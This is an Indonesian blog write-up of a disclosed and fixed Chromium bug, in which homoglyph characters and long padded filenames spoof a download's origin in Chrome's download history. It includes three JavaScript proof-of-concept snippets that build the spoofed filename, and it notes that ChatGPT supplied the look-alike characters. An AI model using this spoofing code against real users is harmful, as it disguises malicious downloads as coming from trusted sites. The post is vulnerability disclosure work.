[Chromium VRP] Bypass :// Characters on Filename lead to File Origin Spoofing


Pada kesempatan kali ini saya akan membahas kerentanan yang agak berbeda, yaitu kerentanan browser spoofing. Kerentanan yang saya temukan ini terjadi ketika seorang attacker bisa memanipulasi origin atau source dari suatu file ketika di download. Contoh gampangnya yang seharusnya filenya berasal dari https://evil.com
, attacker bisa memanipulasi file originnya seolah2 itu berasal dari https://google.com
.
Yang perlu kita pahami pertama itu, Chrome punya fitur yang dimana kita bisa ngeliat download history beserta filenya, bisa kita liat di chrome;//downloads
seperti gambar di bawah
Seketika saya langsung berpikir kalo, "kayaknya bisa deh kalo kita bikin nama file yang panjang sampe membentuk newline yg isinya adalah fake origin".
Oke langsung aja kita test membuat button yang saat kita klik akan langsung download suatu file dengan fake origin. Ketika button tersebut di klik, akan ada script JS yang tereksekusi dan akan download file dengan fake origin. Berikut adalah HTML Code nya
<script>
function handleSaveAs() {
const fileContent = "This is the content of the fake.pdf file.";
const fileName = "files From https∶//google.com";
const blob = new Blob([fileContent], { type: "application/pdf" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = fileName;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
document.getElementById("result").innerText = `File saved as ${fileName}.`;
}
</script>
Ketika di test hasilnya akan langsung blank, karena ternyata Chrome memblokir karakter :// jika ditempatkan dalam filename. Seperti gambar di bawah ini
Sekarang kita akan coba membypass nya dengan menggunakan homograph characters, atau bisa juga disebut sebagai karakter yang sekilas sama cuma sebenernya mah beda. Untuk generate homograph characters dari :// saya akan minta tolong ChatGPT
Lalu saya akan langsung ganti filename pada script JS dari = ://
ke karakter homograph yang saya dapatkan dari gpt seperti = ︓⁄ ⁄
Dan seperti inilah jadinya
<script>
function handleSaveAs() {
const fileContent = "This is the content of the fake.pdf file.";
const fileName = "files From https∶⧸⧸google.com";
const blob = new Blob([fileContent], { type: "application/pdf" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = fileName;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
document.getElementById("result").innerText = `File saved as ${fileName}.`;
}
</script>
Restriction pada Chrome pun berhasil terbypass!
Sekarang yang perlu kita lakukna hanya tinggal membuat file origin menjadi semakin real, dengan membuat fake origin tersebut terdapat pada line baru. Jadi kita bisa bikin file dengan nama yang panjang sampai file origin tersebut masuk ke dalam line baru pada Chrome download history, sehingga fake origin menjadi terlihat semakin real. Ini adalah contohnya
<script>
function handleSaveAs() {
const fileContent = "This is the content of the fake.pdf file.";
const fileName = "importantbackupfilecontaininguserdataandsettingsforsystem.apk__________________________________________________________From https∶⧸⧸google.com";
const blob = new Blob([fileContent], { type: "application/pdf" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url;
a.download = fileName;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
document.getElementById("result").innerText = `File saved as ${fileName}.`;
}
</script>
Dan file origin menjadi semakin real seperti gambar di bawah ini:
Untuk remediasi, Chrome telah menerapkan sistem yang dimana filename yang panjang akan langsung di elide atau dipersingkat, supaya attacker tidak memiliki kesempatan untuk membuat fake origin pada newline untuk meminimalisir spoofing, berikut adalah penampakannya setelah fixed
Untuk PoC HTML lengkap dan video PoC nya bisa cek di laporan aslinya yang sudah disclosed ya: https://issues.chromium.org/u/1/issues/392818696
Subscribe to my newsletter
Read articles from Frozzipies directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
